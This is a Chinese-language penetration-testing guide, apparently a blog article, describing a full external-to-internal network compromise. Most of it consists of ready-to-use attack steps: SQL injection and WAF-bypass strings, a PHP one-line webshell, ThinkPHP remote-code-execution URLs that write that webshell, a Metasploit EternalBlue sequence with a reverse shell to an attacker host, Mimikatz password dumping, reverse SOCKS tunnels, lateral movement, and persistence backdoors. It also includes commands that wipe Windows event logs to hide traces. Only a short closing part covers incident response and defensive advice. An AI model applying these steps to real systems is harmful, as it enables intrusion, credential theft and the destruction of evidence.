从0到1通过外网渗入内网的一种思路及溯源分析
字数 1925 2025-11-13 12:10:27
外网到内网渗透测试完整指南
环境拓扑与目标说明
- 攻击起点:公网环境
- 目标网络:XX校园网(含Web服务及WAF防护) + XX企业网(无Web服务,内网隔离)
- 最终目标:渗透进入内网,获取域控制权及敏感数据
第一阶段:信息收集
1.1 CDN检测与真实IP获取
检测方法:
- 使用
ping命令检测域名解析 - 观察DNS记录类型:使用CNAME记录通常表明存在CDN
- 通过历史DNS记录查询真实IP
绕过CDN技术:
- 查询域名历史解析记录
- 使用全球DNS节点查询差异
- 子域名爆破获取真实IP
1.2 端口与服务扫描
NMAP扫描命令示例:
nmap -sS -sV -O -p- 目标IP
关键发现:
- 开放端口:80(HTTP)、445(SMB)、8080(HTTP)
- 操作系统:Windows Server 2008 R2
- 潜在漏洞:MS10-054、MS10-061、MS17-101、CVE-2009-3103
1.3 Web应用信息收集
技术手段:
- 子域名爆破工具使用
- WHOIS信息查询
- 敏感目录扫描(使用nextassets等工具)
- CMS指纹识别(ThinkPHP V5.0.0)
第二阶段:Web应用渗透
2.1 目录遍历漏洞利用
- 发现可下载源代码文件的目录遍历漏洞
- 通过代码审计发现逻辑漏洞和危险函数
2.2 SQL注入攻击
注入检测:
原始URL:http://target/page?id=1
测试语句:and 1=1 / and 1=2
注入步骤:
- 判断注入点:真值假值测试
- 确定字段数:
order by n逐步测试 - 联合查询:
union select 1,2,3,... - 获取数据:数据库名→表名→列名→数据
WAF绕过技术:
- 大小写混合:
UnIoN SeLeCt - 双写关键字:
ununionion selselectect - 注释符分割:
/**/union/**/select
2.3 后台入侵与WebShell部署
获取凭证:
- 通过SQL注入获取管理员用户名和密码
- 发现明文存储的安全漏洞
WebShell上传:
- 寻找文件上传功能点
- 上传一句话木马:
<?php @eval($_POST['cmd']);?> - 通过数据库备份功能将后缀改为.php
第三阶段:系统权限提升
3.1 命令执行漏洞利用
ThinkPHP框架漏洞:
http://target:8080/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
写入WebShell:
http://target:8080/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
3.2 永恒之蓝漏洞利用(MS17-010)
Metasploit操作流程:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 目标IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 攻击机IP
exploit
3.3 密码提取与远程桌面
Mimikatz使用:
# Meterpreter中执行
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords
启用远程桌面:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
第四阶段:内网横向移动
4.1 内网信息收集
基础命令:
systeminfo # 系统信息
net localgroup # 本地组信息
net group /domain # 域组信息
net view /domain # 域信息
4.2 代理与隧道建立
SOCKS5代理设置:
# Kali端
socks5proxy -s rcsocks -l 1080 -e 26254
# 目标机端
socks5proxywin -s rssocks -d Kali_IP -e 26254
Proxychains配置:
# /etc/proxychains.conf
socks5 127.0.0.1 1080
4.3 域渗透技术
网络扫描:
proxychains nmap -sT -Pn 10.22.233.0/24
横向移动方法:
- IPC连接建立:
net use \\目标IP\IPC$ /u:"Administrator" "密码" - Psexec攻击:
jump psexec_psh 目标IP - 凭证传递攻击
第五阶段:持久化与痕迹清除
5.1 后门技术
映像劫持:
- 注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options - 添加恶意程序路径
Shift后门:
- 替换系统
setch.exe程序 - 在登录界面连续按Shift键触发
计划任务:
schtasks /create /tn "任务名" /tr "程序路径" /sc daily /st 时间
5.2 日志清除
Windows日志清除:
# Meterpreter中
run event_manager -c
# 手动清除
wevtutil cl system
wevtutil cl application
wevtutil cl security
IIS日志路径:
- IIS7+:
C:\inetpub\logs\LogFiles - 定期清理访问记录
第六阶段:溯源分析
6.1 应急响应检查点
实时监测:
- 异常网络连接
- 可疑进程创建
- 系统日志异常条目
取证分析:
- 文件时间戳分析(按修改时间排序)
- 注册表键值异常修改
- 计划任务异常项
6.2 日志分析重点
Windows事件日志:
- 事件ID 4624/4625:登录成功/失败
- 事件ID 4672:特殊权限分配
- 事件ID 4720:用户账户创建
IIS日志分析:
- 异常HTTP状态码(如大量404尝试)
- 可疑User-Agent
- 异常请求参数(SQL注入特征)
总结与防护建议
防护措施
- 网络层:严格防火墙策略,限制不必要的端口开放
- 系统层:及时安装安全更新,禁用过时协议(如SMBv1)
- 应用层:输入验证、参数化查询、最小权限原则
- 监控层:实时安全监控、日志审计、异常行为检测
安全开发规范
- 避免明文存储敏感信息
- 实施严格的输入过滤机制
- 定期安全代码审计
- 使用预编译语句防止SQL注入
本指南详细记录了从外网到内网的完整渗透流程,强调了每个阶段的关键技术和注意事项,为安全防护提供了全面的参考依据。